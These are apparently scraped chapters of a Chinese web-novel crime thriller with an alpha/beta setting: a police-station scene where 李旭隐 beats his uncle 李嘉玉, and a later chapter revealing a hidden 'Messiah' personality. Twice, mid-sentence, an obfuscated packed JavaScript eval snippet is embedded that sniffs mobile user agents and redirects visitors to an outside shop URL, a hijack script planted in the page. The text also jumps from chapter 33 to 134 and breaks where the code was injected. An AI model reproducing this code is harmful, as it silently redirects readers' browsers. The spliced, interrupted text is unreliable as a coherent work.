赵洋摇了摇头,嫌恶道:“这些老头子们就和神经病一样,把孩子当□□呢,多生一个孩子当多买一张彩票,优性alpha三十万分之一的突变概率,一家子像兔子一样生也抵不上零头,也就是唐家撞狗屎运,你看李嘉玉他爸生了多少儿子孙子,优性毛也不见。” 徐长嬴却像开玩笑道:“虽然学术界都说优性是基因突变,但是我现在觉得还是有点遗传因素,你看林家不就俩优性,夏青还是极优性。唐家那么疯魔也是因为唐闳蕴的原配夫人给他生的第一个孩子就是优性alpha,只是二十岁就死了,等了三十多年才等到唐攸宁这第二个优性alpha。” “唐攸宁以前不叫这名,他被接回去后唐闳蕴给他改了名,因为老头子太爱她的大女儿唐攸明,所以唐家的攸字辈是唐闳蕴自己定的规矩,专门给最喜欢最期待的子孙用,所以唐攸宁看名字和他大姑是一辈的,唐新易和唐新荣听上去倒像是他儿子。” 赵洋抬起头看向徐长嬴道:“就因为这个,你就觉得唐攸宁和他很像?你也是个爱屋及乌的神经病。那你们到底怎么认识的?” 听到赵洋问怎么认识唐攸宁的,徐长嬴倒是有些欲言又止。 赵洋挑着眉疑惑道:“怎么了?” 徐长嬴有些迟疑的开口:“其实他现在算是我的债主,我当时被转移到北美的医疗实验中心是他负担的费用,所以我还在还他的医药费。” 赵洋盯着徐长嬴敏锐道:“他对你可不像债主?昨天哭的倒像是你儿子,你当时还生着病,到底是怎么和他遇到的?” 徐长嬴沉默了一会儿,才开口道:“我当时离开的时候兜里揣了一千块钱,身份证也丢了,一路走走停停到了杭州,钱花光后我就给西湖景区里的小贩们画风景画,就是那种10乘12厘米的小油画,赚点房租和买抑制剂的钱。当时我们说好了一星期交一回货,拿一回钱,但其实我就只拿了一次钱,第二次去交画的路上被车撞了。” 赵洋脸色都变了,连忙道:“你被撞了?伤的严重吗?” 徐长嬴道:“还好,就是右手和左腿骨折了,其实比起当时我那病,这些都算小伤,我醒来后就看见唐攸宁在边上哭,我也不认识他,我问他他才说是他撞的,我就这样认识他了。” “这个傻逼,我就知道,”赵洋咬牙切齿道,“他们唐家看上去精神都不正常,你还和他来往干什么?” 徐长嬴下意识摸了一下脸颊,无奈道:“我当时病也治不好,所以倒觉得无所谓,但唐攸宁那时年纪太小了觉得我要是死了就是他的错,杭州正好有医院收治我这种重症,所以我就被他强行送了过去。妈的我现在什么都记不起来,我就记得我天天像精神病人一样被捆着打点滴, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13049278|137533||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 后来那医院实在是治不了我,他就想办法给我送到美国了。” 赵洋低着头不知道在想什么,只是低声道:“然后你就在那里加入了AGB?” 徐长嬴点了点头,似乎又回忆起了几年前,道:“唐攸宁当时非要说服我去和他一起读电影学校的,但是我已经欠下他那么多医药费,所以就没有听他的,一心去考试当AGB专员了,这就又兜兜转转回来了。” “唐攸宁这小孩其实挺好玩的,我生病的时候他天天就在我耳边叽里咕噜说话,说他分化之后他妈就满世界买包买楼也不管他,去念电影结果屁也学不会,焦虑的要命,什么都说,我被捆在床上听的耳朵疼就骂他,骂得太难听他就哭着走了,第二天又继续来说。等到我去AGB学院后,放假就去他那学校旁听,给他瞎拍点作业当还债了。” 赵洋越听脸上表情越微妙,徐长嬴见他面色不太对,疑惑道:“怎么了?其实就这些了,我这两年和他一年也就见两三回,上一次见面好像是半年前,他找了风雷那个项目给我看,我给他稍微修改了一下分镜,昨天也是我今年第一次见他。” 赵洋正要开口,手机消息响了,他掏出手机一看:“李家人到了,余梅说李嘉玉醒了,他们带到楼下调解用的会议室去了。” 徐长嬴道:“那我们过去?” 赵洋嗤了一声:“去个屁,肯定就是带了什么领导过来钻着立案前的程序空子要把李嘉玉领回去呗,方妈和严哥就算和他们撕破脸也没用,这种场景见了也烦,反正李嘉玉也只是一个小喽啰,胆都吓破了一句屁也放不出来,你等着吧,今晚唐家也要过来接小孩呢。” 徐长嬴靠着墙壁,笑道:“说的也是,关系户嘛,全世界都是这样,AGB在北美几乎是前脚刚抓一个重刑犯,后脚人就被家里人保释出来了,那才是光明正大的花钱买命。” 突然,徐长嬴想到什么道:“赵秀贞还关着呢?她还吐出什么吗?” 赵洋摇了摇头:“什么也不说,现在改变套路,开始天天哭她女儿不见了都是警察害的,但我们现在怀疑她可能知道的并不多,她女儿王添笑应该才是真正的在案人员,但是远在新西兰,我们也只能先放弃那条线。” 徐长嬴又想到赵兰月那张照片,不由得轻声道:“人死了才是什么都没了。” 赵洋道:“不知道那个阿风的人像筛查结果出来没有,巧巧和你那两个组员都在那。” 徐长嬴点点头:“等等,总会有结果。” 两人又聊了几分钟案情的进展和细节,徐长嬴手机铃声就响了,徐长嬴一看是李嘉丽打来的就接了起来。 李嘉丽在那端道:“徐,你在哪儿呢?” 徐长嬴道:“我在二楼这发呆,怎么了,阿风出结果了吗?” 李嘉丽道:“那里还有一会儿功夫,我把班杰明留在那儿,看到你消息就过来找你,我在调解室这边没看见你,你要来吗?这边很热闹。” 徐长嬴疑道:“热闹?怎么了?” 他刚问出这句话,就听见李嘉丽手机那端突然人声鼎沸,隐隐约约好像又听到了李嘉玉的声音,徐长嬴有些迟疑道:“那我现在就和赵洋下去。” 李嘉丽道:“好,我就在门口。” 赵洋看向徐长嬴,问道:“怎么了?” 徐长嬴挂断电话,若有所思抬起头看向赵洋:“李嘉玉好像要被打死了。” 33. 李氏家暴(下) 因为省厅级的干部来了市局,所以调解会议室里光局长科长就站了一排,重案组的人只能站在靠门口的位置。 徐长嬴和赵洋到的时候,李嘉丽给他们俩让了一下位置,只见会议桌边上站着几人,都是齐刷刷的黑西装,应该都是李家带来的人。 有两人极其显眼,却是林殊华和夏青。 徐长嬴没想到林殊华也来了,十来年没见,他的变化很大,尽管当年上学时他就是林家独有的斯文精英样,但是现在在官场游走几年后,周身的气派完全变了,往那一站就是温润如玉、不可冒犯的矜贵人物。 他与夏青长的都很像各自的母亲,所以单看面容,两人是极其相似的,但夏青气质更冷,看上去更让人不敢靠近。 赵洋从上学时就很讨厌林殊华——不如说他天然讨厌林家人,所以只有齐枫给徐长嬴稍微说了些最近几年林殊华的事情。 林殊华的母亲是林光霁的二女儿,父亲是招赘的alpha女婿,也是现在林光霁之下的兴安一把手,林殊华是林光霁的长孙,又是优性alpha,所以从小就是走天之骄子路线,但毕业之后在林光霁的安排下并没有插手集团的事务,而是走起了仕途。 现在林殊华好像是什么经济特区对外进出口办公室的室长,官职不大但权力极大,也算是春风得意,可以说是三大家族里林家独有的精英教育的优秀成果。 夏青几乎是在徐长嬴进屋的第一秒就察觉到了,抬起脸直直望向他,徐长嬴也看着他,在心里和边上那张差不多的戴着金丝眼镜的脸比较了一下,发现还是夏青更好看一点,于是便很高兴地对他点了点头。 至于为什么林殊华没有跟着夏青一起发现他,是因为这个屋子里实在是太热闹了:市局和省公安厅的几个中年领导正拦着中间一个身材挺拔高大的青年alpha,拼命劝说着他不要再打李嘉玉了,而边上李家的内部领导和保镖就站在一边一动不动,沉默不言。 这个alpha正是李旭隐,他的变化比林殊华还大,他现在看上去和齐枫差不多高,也穿着一身黑色的正装,浑身上下都散发着成熟威严的气息,此刻脸上满是肃杀之意,正揪着半跪在地上的李嘉玉,以要杀人般的怒意狠狠抽着李嘉玉的耳光。 “我和你怎么说的!你好大的胆子!” 徐长嬴看着鼻青脸肿,痛哭流涕的李嘉玉,没想到他这么扛打,果然他方才都是演的。 李嘉玉求饶的声音都被李旭隐的拳头巴掌给打得断断续续,齐枫站在一边目睹着都不自觉皱起脸,仿佛之前恨不得给李嘉玉脑袋开洞的不是她。 重案组的其他人本来都做好走过场被权贵要走嫌疑人的准备,没想到能见到这一出侄子殴打亲叔叔的精彩大戏,一时又惊又喜,余梅,宋瑜立和谈松三人组脸上的兴奋都掩饰不住了。 李嘉玉长得比其他李家人要白两个度,此刻脸上白里透红,红中带紫,紫中带青,李旭隐手劲收放有度,打得极疼但打不死人,边上做样子拦他的两个中年秃顶男领导见他打得有章法,也作出一副无可奈何模样,摸摸脑瓜站在一边叹气了。 “我错了,旭隐,我真的知道了!”李嘉玉哭着道。 “你知道错了?你和唐新荣搞什么鬼!”李旭隐一脚踹李嘉玉肩膀上将他踹趴在地上,低声喝道,“警察问你你还装死!李嘉玉啊李嘉玉我真是不认识你了,你现在就在这里一五一十说出来!” 李嘉玉抱着脑袋崩溃道:“我什么都不知道!都是唐新荣干的!” 李旭隐又是一脚,将其踹翻后紧跟着的就是一记响亮的耳光,沉声道:“你和唐新荣加入的是邪教还是贩du团伙?你告诉我,我亲自给你打官司,你不想坐牢我来想办法。” 李嘉玉哆哆嗦嗦,眼泪狂流,但就是不说,李旭隐似乎被他的沉默给激怒了,揪起他的领子又开始新一轮的连环耳光,边抽边怒道:“是不是那个团伙拿毒品控制你的?那五个女人被杀是不是有你一份?剩余两个死人你是不是知道送到哪里去了?梅菲斯特是谁?你他妈哑巴了吗——有我在你到底在怕什么!” 李嘉玉被打得鼻血横飞,惨烈程度和昨天的徐长嬴有的一拼,徐长嬴看着他满脸血,突然不知道是心理作用,还是药效退了,他的舌头又开始疼了。 李嘉玉鼻血流的太汹涌,李旭隐见状暂停了动作,谁知这个弱鸡刚喘了一口气突然就爆发了,怒吼道:“够了!你什么都不懂!李旭隐我忍你很久了!你知道什么!我不能被新世界放逐,我不能放弃我已经有的地位,我有我的道理,你有什么资格来管我!” 吼完,李嘉玉惨不忍睹的脸上迸发出坚定邪教分子独有的信仰之光,他又恨恨道:“李旭隐,你敢这么打我,你一定会后悔的。” 李旭隐没有回他,他只是站在原地,低着头,一旁的李嘉玉如邪神真主上身说完这段极其有种的话后,他身上的信仰之光在李旭隐恐怖的沉默中如同骤然炸开的篝火一样又迅速熄灭,不过须臾,恐惧和不安又爬上他的脸。 在他惊恐的目光中,李旭隐将领带扯了下来,扔在了地上。 三秒之后,不只是重案组和市局领导,一直侯在一旁的林殊华和李家人都冲了上去。 李旭隐一脚踩在李嘉玉的胸口,一拳又一拳迅疾没有收任何力道砸在李嘉玉的脸上,李嘉玉甚至连呻吟声都叫不出来,口鼻都在往外出血,齐枫动作和林殊华一样快,死死抓住李旭隐的胳膊往外拽——现场一时也只有她能拽住李旭隐。 齐枫叫道:“李旭隐,你要把他打死了!你这样打还不如让他被枪毙算了!” 李旭隐双目赤红,芯片都无法控制他此刻信息素的扩散,而信息素的急速释放又让他体温上升,开始陷入狂暴的恶性循环。 齐枫生生将李旭隐拽了起来,李家三个保镖挡在他们两人前面,直到和李嘉玉扯开三米,李旭隐才恢复了一点理智,他被齐枫和保镖拽着,恶狠狠盯着李嘉玉低声道:“你这么不怕死,我现在就成全你,你真以为那个狗屁团伙还能联系上你?我要把他们一个个都翻出来剁了!” 李嘉玉口嗨后就后悔了,此刻扑在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'''',24,24,''''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13049279|137533||http|test|mini|href|location''''.split(''''|''''),0,{})); () { $(''''.inform'''').remove(); $(''''#content'''').append('''' 林殊华的身后,痛哭流涕道:“殊华哥,你救救我!你把李旭隐带走!我不回家了!” 林殊华一脸无可奈何地劝道:“旭隐是在救你,你现在说出来就是将功补过,当个污点证人,公安和旭隐都会保护你。” 李嘉玉崩溃摇头道:“不是我不愿意说,我真的不能说,他们不只是我们这个现实世界的人!我违背他们规则会生不如死的!你们就当我什么都不知道不行吗!为什么要逼我!” 所有人听到李嘉玉这番话都只能无可奈何地默默叹气,这个庆元李家的核心子弟,李畑越的亲生儿子,不知道到底被犯罪组织洗了什么脑,加上毒品,现在几乎就成了一个废人。 徐长嬴却在听到李嘉玉这番后陷入了沉思,他总觉得李嘉玉似乎已经透露了什么很重要的信息,他脑海里如同快照一样闪过哥伦比亚大火中的白房子,公海游轮上的隐秘手术室,广州艺术馆里的五具尸体,一定有什么不对,有什么他错过了。 突然一个人站定在他的身边,徐长嬴一抬头,发现是夏青,前方围绕着李嘉玉和李旭隐已经乱成了一锅粥,但夏青似乎并不在意李家侄子和叔叔之间的血案,趁着热闹穿过人群静静待在他的身边。连赵洋现在都上前和齐枫一起拽住李旭隐,不让他再暴走一不小心把李嘉玉打死了。 徐长嬴见没人注意他们俩人,就偏过头对着夏青幸灾乐祸道:“早知道我刚刚就扇李嘉玉两巴掌了,反正他脸被打成这样谁也发现不了。” 夏青听到后,顿了一秒,像是快速思考了一下可行性,随后认真道:“很合理。” 徐长嬴撞了撞夏青的肩膀:“没想到你心眼也这么坏。” 徐长嬴正要再调笑两句,李嘉玉的哭声又炸了起来,齐枫气急败坏道:“李嘉玉你个傻逼,你不会说好听话吗!” 李旭隐挣脱齐枫的束缚,又对着李嘉玉的胸口补了两脚,吼道:“你这辈子不是烂在监狱里,就是死在戒毒所,你想都别想!” 李嘉玉连滚带爬地想要尽可能远离李旭隐,从庆元领导层的表叔喊到林殊华,但可惜就算是林殊华也无法能劝住李旭隐。 突然,李嘉玉抬起头看向站在人群外侧的徐长嬴和夏青,如同见到救星一般尖叫起来:“徐长嬴!你把他拉走!快点!” 谈松和宋瑜立等人之前目睹了李嘉玉对徐长嬴恶语相向,这时只觉得他脑袋坏了,慌不择路地一通瞎叫唤。 但人群之中的李旭隐动作突然停下了,他缓缓松开李嘉玉的领子,并顺着他的呼救方向猛地转过头。 “徐长嬴?”李旭隐与人群外吊儿郎当看戏似的徐长嬴对视的那一刻,眼里瞬间涌出了强烈的复杂情绪。 而他身后的林殊华也迅速转过头,望着并肩站着的徐长嬴和夏青,一瞬间他那原先云淡风轻的面容突然出现了裂纹一般,流露出了无法掩饰的撕裂的情绪,放在身侧的双手不自觉地攥紧,旋即不可置信般猛地抬头看向站在一旁的赵洋。 赵洋察觉到他的目光,慢慢转过脸,与他对视着,眼中满是轻蔑之意。 第134章世界尽头10 134、世界尽头10 “原来,这个白衣男孩就是那个emperor的孩子吗?居然是个beta。” 2007年,东京,警视厅大楼的茶水间里。 肖低声道,他的脸庞爬上了惊异的情绪,“劳伦斯是故意的,这四个孩子难道也是他计划里的一环?就像被引到东京,引到地铁现场的我们一样。” “可是如果不是这两个孩子及时出手,他们也会有可能死于毒气”,蓝斯皱着眉,不解道:“劳伦斯为什么要设计让这个孩子进入恐袭现场?—而且这是能设计的吗?”"夺回弥赛亚的东西。" 三人抬起眼,看向突然说话的安柏。 29岁的安柏叼着烟靠在桌上,仰着头看着灯光下氤氲的烟雾,若有所思道:“不知道为什么,在看见劳伦斯与这个孩子对视的一瞬间,我就突然有一个猜想。” “——劳伦斯是在期待这个孩子给出什么样的反应。” "弥赛亚死后,那个秘密的、被所有人争抢的东西,真的落到了劳伦斯手里了吗?" “有没有可能它还在emperor的手中,但知晓的人只剩下了那个房子里活下的孩子。” 在2022年的这一刻,身处南太平洋海域上的劳拉突然想起了当年她与亚洲01小组在警视厅大楼里说的这些话,这才发现2007年的他们离答案是那么近,但是又是那么远。——当时安柏明明已经敏锐地意识到了夏高寒的孩子被卷入东京LEBEN暴恐事件绝非偶然,但是他们却理所当然地将劳伦斯的目的归结于他想要从夏青身上获取某种实质的“东西”。万万没有想到,那时的劳伦斯其实早已获得到了“约柜”账户,这也正是其他LEBEN残党在东京追杀他的原因。而劳伦斯之所以设计将夏青引入LEBEN残党为了“约柜”与复辟而开展的恐怖袭击中,并亲自出现在现场与其接触,一切都是为了引出那个由他与夏高寒一手培养出来的另一个人格。——真正的弥赛亚。 2007年,东京,新桥地铁站。 积水漫过了脚面,夏青牵着徐长嬴的手站在拥挤嘈杂的人群之中,耳边还回荡着扩音器发布的警报声与不同说着日语的声音。 “不好意思。” 一道说着中文的声音突然在他的耳边响起。 13岁的夏青抬起脸,对上了一双熟悉的灰色眼睛。 只见两年未见的父亲朋友刘易斯就这样站在他的面前,正好整以暇地看着自己,而望向他的眼睛中又充满了打量、审视和判断—与夏高寒生前每次望着他的眼神一模一样。夏青瞬间怔在了原地,他完全没想到这个男人会在此刻出现在他的面前,因而下一秒,少年的脸上就生出了强烈的警惕与敌意。然而就在看见夏青反应的这一瞬间,刘易斯的眼中却立刻浮现出了惋惜与失望,就好像突然发现他身上并没有自己想要的东西。因此,在2007年东京地铁恐袭的现场,刘易斯就这样站在与AGB专员不到五米的人群之中,对浑身是刺的夏青无奈地笑了一下,就向后退了一步。只不过在消失之前,这个灰色眼睛的男人还是微笑着对夏青用英语无声说了一句话。 Catch you later. 下次见。 “刚刚那个是中国人吗?” 浑身湿漉漉的徐长嬴像是察觉到什么,他有些疑惑地转过脸,又笑着看向夏青。 “不太清楚。” 夏青下意识抓紧了优性alpha少年的手,定定地望着刘易斯消失的方向,有些茫然地低声道。—“在第一任emperor死后,我曾经在2007年的东京专门寻找过他,但没有发现他的踪迹。”劳伦斯当然没有发现他的踪迹,劳拉绝望地后知后觉想到—并不是因为那个人没有出现在他的面前。 而是因为弥赛亚的人格没有再出现在夏青的身体里。那么,时隔7年唤醒弥赛亚的那场大火,又是什么? 2014年,浙江314国道。 20岁的夏青站在仍在燃烧的隧道前,看见了那好像永远不会熄灭的红色火焰在深夜摇晃着、跳跃着,伴随着滚滚厚重的黑烟在空气中释放出化工品的刺激性气味,以及蛋白质燃烧的焦糊味。撕破黑夜的警笛声,遇难家属的哭泣声,以及警察们拉警戒线的呼喊声,都似乎被这一场大火融化成一团,将夏青的人生也彻底浇筑在了这一夜。 四天四夜里,夏青就这样看着几乎要烧穿隧道的烈火一点点小下来,看着全副武装穿着防化服的消防员迈入漆黑的隧道,看着一具具烧成扭曲焦炭的可怖遗体被抬出来。 每一具都不是他。 因为徐长嬴绝不会这样对他。 夏青的眼眶似乎也被高温灼伤,一滴泪都流不出来,直到再也没有遗体从隧道里被抬出来,负责现场的好心警察一直站在他的身侧喋喋不休地劝他。 他也是这么想的。 第四天早上,所有运送遗体的殡仪车都已经在事故现场离开了,站在隧道前的夏青才终于意识到应该已经结束了。 一旁的刑警宋坚白见这个beta学生终于动了,忍不住善意地走上前,要让年轻警员送他回政府安排的酒店。 夏青转过身,与四五个拎着铁锹等工具的搜救员们擦肩而过,那几个搜救员橙色制服上满是黑色脏污,疲惫不堪地迈过了明黄色的警戒线。 “剩下的没有办法了,都与沥青和车架融在一起了,法医刚刚来看过了,生物检材都被破坏了,DNA都没法提取。” “可是还有4个失踪者的遗体没找到,那怎么办,我们还铲吗?” “上面人说不用了,你看那个客车的车架都陷沥青里了,下午交通局的人来给隧道三维扫描后,就等吊车和拖车直接来把车辆残骸拖走了。” “那地上的这些……怎么办?” 身后的隧道里传来了老搜救员的叹息声,“——上铣刨机,将烧过的沥青全部挖走,再铺新的。” 老警察宋坚白的脚步骤然停下,他面带不忍地看着面前也停下脚步的beta学生,下意识想要说什么,但却发现在这一刻所有的字眼都变得苍白无力。 等到再回过神,那个挺拔的背影已经自己离开了。 回到北京的出租屋时,夏青才发现已经是酷暑了。 他们租住的公寓里也大多数是合租的学生,因为毕业季楼道里已经堆满了搬家的纸箱和杂物,不断有各种与他们一样年轻的面孔进进出出。 然而夏青这时却已经完全忘记他也应该是其中一员,他只是毫无知觉地绕开了那些物品与人,然后拿出钥匙打开熟悉的门。 半个月没有回过的一室一厅还保持着离开之前的模样,地面上散落着徐长嬴出门前砸坏的画框,夏青手掌被割破后滴落的鲜血已经在碎纸和地板上凝固成暗红色的斑点。 徐长嬴的手机还被扔在沙发上,夏青几乎是凭借着本能将其拿起充上电。 手机自动开机的一瞬间,无数的消息提示音在房间里叮叮当当响了起来,学校教务处,学院导师,同系的同学,还有各种曾经联系的人,几乎全世界的人都在找优性alpha。 徐长嬴可能自己都忘了他在各个购票平台都下意识留下了夏青的紧急联系人电话,所以交警部门才能第一时间通知夏青而非学校。 因为这世界上他们只剩下对方这一个亲人了。 “我们可是比亲兄弟还要亲的一家人诶,”20岁的徐长嬴笑嘻嘻地捧着他的脸用力蹭着,“阿青去美国飞黄腾达后千万不要忘记我哦。” 夏青麻木地坐在沙发上不知道过了多久,他感觉房间越来越热,就像又再次回到了那被烈焰笼罩的隧道口。 于是夏青站起身,他小心地捡起每一张碎纸,又像之前无数次一样打扫起了狭小的房间,等待着徐长嬴抱着一堆乱七八糟的画材推开门,一脸夸张地大叫家里为什么会这么干净,然后再换上拖鞋啪嗒啪嗒跑进来。没来得及洗的马克杯,随意扔在沙发上的T恤,还未干涸的颜料盒,每一处都在说——他很快就回来。 不知不觉房间里的空调已经降低至了最低温度,而趴在地板上擦掉血迹的夏青体温却已经高到眼前开始出现重影。 他为什么还没有回来。 夏青茫然地想着,是因为自己惹他生气了吗? 可是,徐长嬴从来没有对自己生气过。 就算在过去的几个月里徐长嬴说了很难听的话,就算他彻底变了一个人,但也是因为他生病了,所以那不算数。 终于,在傍晚的黄昏里,夏青重新将家中打扫干净,他将画框碎片收进垃圾袋中,摇摇晃晃地站起身。 “哗。” 尖锐的木头将黑色的垃圾袋划破,里面的杂物重新散落在地板上,而也正是在这时,夏青突然看见有什么东西折射了黄昏的光线。那是几块光盘碎片。 与一堆被撕得粉碎的文件和砸坏的录音卡带一起,被离家前的优性alpha慌乱地丢进了纸篓中,甚至还被欲盖弥彰地用其他的垃圾盖在了上面。 北方酷夏的夕阳如同即将熄灭的炉火,将最后一缕光从夏青苍白的脸庞上撤走时,也撤走了男生的生命里最后的光亮。 20岁的夏青就这样站在即将漆黑一片的出租屋里,在知道自己彻底失去徐长嬴的这一天,解开了毁掉徐长嬴人生的真相。 不要。 夏青浑身颤抖地攥紧了桌面上拼凑起来的文件,越来越高的体温让他眼前再度浮现出了那永远不会熄灭的红色火焰,并连带着一同烧毁了他的全部理智和灵魂。不要这样。 不能是这样。 有没有谁能够救救他,不要让他坐上那辆车,不要让他进入那个隧道,不要让他走入那场大火。 只要可以,无论是谁,无论要付出什么代价—— 黑暗无声的房间里,夏青在台灯的光下抬起流着泪的眼睛,在窗户玻璃的折射中看见了那张与自己一模一样但冷漠无比的脸庞。 他都愿意接受。 南太平洋,11月23日,UTC-3时区的19点37分。 SEL号,顶层甲板。 在所有人恐惧的眼神中,昏暗的光线里,一个染血的身影缓缓从地面上站起,并捡起了那个卫星手机。 海风从几乎成为空洞的落地窗中灌进整个豪华舱室,满地都是被冲锋枪子弹轰碎的玻璃碎片,明明每一个SEL成员的手中都紧紧握着枪支,但在看着眼前手无寸铁,甚至负着伤没有任何作战能力的青年时,眼中都溢满了难以言喻的恐惧与绝望。 “这不可能。” 闪烁不定的灯光里,一个颤抖的声音打破了死一般的寂静。 蔡司僵硬地转过脸,看见了被脸色惨白的尤金挟持着的徐长嬴,徐长嬴的眼泪顺着脸颊滑落下来,他不知所措地望着眼前的人,颤声道:“一定是什么地方搞错了,夏青,你不是他,你怎么可能会是他?求求你,你告诉我好不好?" 徐长嬴的声音嘶哑,他身侧的尤金和那两个雇佣兵的脸上写满了畏惧与惊愕,连拿枪的手都不受控制地颤抖着,而beta哽咽的话语中却甚至还带上了一丝可怜的期待。 只是话音落下,那个穿着战术马甲的身影并没有立刻回答他,而是无动于衷地站在原地,只有鲜血一滴滴顺着极优性alpha的手指无声地掉落在地板上,同样染红了那只卫星手机。徐长嬴流泪的眼眶红的惊人,他望着眼前的一幕胸腔里发出了可怕的剧痛,理智让他知道发生了什么,但是他的记忆和情感又让他无法理解眼前的一切。 明明,明明就在几分钟前,那双手还紧紧搂着他,捂着他的耳朵。 “这太奇怪了,”徐长嬴满是泪水的脸上浮现出了一个狼狈的笑,他语无伦次地颤抖地描述起他与那所谓弥赛亚之间的交集: “我其实和他说过话的,那个人和你一点都不像,真的,如果是你,我怎么可能会不知道——” "我不是他。" 一个声音打断了他。 话音落下,整个会客厅里的所有人脸色都唰的一下白了,靠在墙壁上的赵洋整个人直接懵了,就算是强撑着保持理智的劳拉也在这一刻睁大了眼睛,灰色的眼睛中涌现出了无法压制的惊愕。而徐长嬴更是怔在原地,就像是被人突然死死扼住了喉咙,他张了张口想要说话,却根本发不出一丝一毫的声音。 因为明明徐长嬴说的是中文,但这句“我不是他”却是用英文回的。 而且所有人都听到了,那的确是弥赛亚的声音。 尽管他们在此之前听到的每一个弥赛亚留下的声音都是经过电子变声处理的,但此时此刻,每一个人依旧能从发音习惯、语调、语速等不同的细节瞬间判断出— 同一个声音就这样在顶层甲板上出现了。 直到这时,蔡司才意识到过去的他们是多么的大意和自欺欺人。 明明世界上绝大多数DID(多重人格障碍)病例中的不同人格都有着完全不同的身份、记忆、行为模式和语言风格。 为什么他们就下意识将夏青当成了特例,认为他的病症仅仅分化出了两个拥有不同记忆片段的“夏青”人格? 甚至,根本没有想过万一存在第三种人格的可能。 “我曾经认为你会更早发现。” 在被枪火毁掉的豪华舱室里,在众人惊惧的目光中,站在蒙面士兵阵营中的“弥赛亚”低头看了看自己染血的手指,似乎是在重新确认身体。 下一秒他抬起了那张因失血而格外苍白的脸庞,用英文对beta平静道: “因为我一直很想和你亲自见面,浮士德。” 与身为LSA学者的夏青完全不同的,没有情感,没有道德,没有善恶,这世界上最危险的人格。 明明是同一张面孔,但是夏青原本虽然清冷但内藏温情的气质却彻底消失了,只剩下了空洞的冷漠和无法看透的情绪。 原本藏身在布满弹孔的沙发背后的考伯特等人此刻几乎克制不住地发着抖,不仅是因为此时舱室里武力的悬殊,更是因为那源自信仰深处的畏惧和惊恐—— 明明眼前这个极优性alpha是LSA大会上顶着康奈尔的枪口宣布“基因突变论”成立的中国科学家,是该死的beta主义阵营的学者,是他们在阿布扎比发动背叛行动的幌子。 结果,他居然是极端第二性别主义宗教LEBEN的最高统治者? 贾里德不可置信地瘫坐在了地面上,强烈的惊悚情绪几乎要把他彻底吞没——他不敢想象他们一直认为身居幕后,远程摧毁阿布扎比行动的弥赛亚,居然就这样堂而皇之地出现在大会现场,甚至出现在全球直播之中。 为什么,为什么有一个夏高寒还不够,为什么他死了还会留下这样一个怪物! “怎么会是你?”徐长嬴在听见“浮士德”这个名字后情绪彻底崩溃,他猛地向前一步几乎要挣脱尤金等人的桎梏,他望着那张属于夏青的脸,血红的眼中满是绝望,不可置信地用英语低吼道:“为什么偏偏是你?你为什么要这么做!我不要见你,夏青,把夏青还给我!你凭什么这么做?” 然而,看着徐长赢那双流泪的眼睛,“弥赛亚”的脸上依旧是无波无澜,他根本没有表露出任何正常的情绪,只有没有温度的审视和观察。 弥赛亚道:“我不知道你在说哪一个他?” 徐长嬴闻言怔住了,直到一秒后他才意识到对方问的是“哪一个夏青”。 面前的“弥赛亚”的语气是那么的平和,以至于徐长嬴在这一刻莫名生出了他真的要将“夏青”还给自己的错觉。 但就在下一秒,“弥赛亚”紧接着说出的话语就让他的心脏彻底坠入谷底—— “弥赛亚”道:“如果你是说刚刚那个人,我记得我问了你很多次是否喜欢他,但你却一直没有给我答复,所以我就将他收回了。” 是否喜欢夏青? 什么时候,徐长嬴的大脑一片空白,为什么自己一点都不记得? 怎么可能,徐长嬴的脸上浮现出茫然的表情,如果弥赛亚问过自己是否喜欢夏青,自己怎么可能会不知道—— 忽然,徐长嬴整个人都僵住了,下一瞬,他望着正微笑望着自己的“弥赛亚”,一股毛骨悚然的情绪宛若电流一般在他的身体里轰然炸开。 他想起来了。 弥赛亚真的问过这件事——- 香港,天星码头上。 “弥赛亚刚刚和我说,”浑身是血的吴奇泽用枪口敲了敲自己的耳朵,示意那藏在其中的隐形耳麦,对着徐长嬴露出了最后一个满是忌恨和疯狂的笑容:“希望你喜欢他的礼物。”- 阿布扎比,酒店房间里。 "你真是我的骄傲,浮士德。" 已经死亡的面具人身上的手机自动接通,浑身浴血的徐长嬴站在满是碎肉和血浆的地毯上,听见弥赛亚那经过电子特殊处理的愉悦声音在房间中幽幽响起:“——你喜欢我送的礼物吗?” 礼物。 礼物! 徐长嬴的脸色骤然失去了全部血色,他终于明白了为什么弥赛亚说希望自己能早点发现,为什么所有与弥赛亚相遇的时刻总是会一遍又一遍提到那所谓的“礼物”—吴奇泽是在献祭表演结束后才说的“希望你会喜欢他的礼物”,也就是说,弥赛亚给他的礼物根本就不是那所谓的第七幕演出。 ——而是在天星码头爆炸之后出现的,16岁的夏青人格。 一旁的蔡司就这样看着徐长嬴脸上的迷茫瞬间褪去,转而替换为难以言喻的痛苦与震颤,并在下一秒爆发为歇斯底里的绝望。 “你这个骗子!”徐长嬴怒不可遏地想要挣扎上前,厉声道:“你怎么敢这么做!你以为你是谁!把他还给我!把所有的夏青都还给我!” 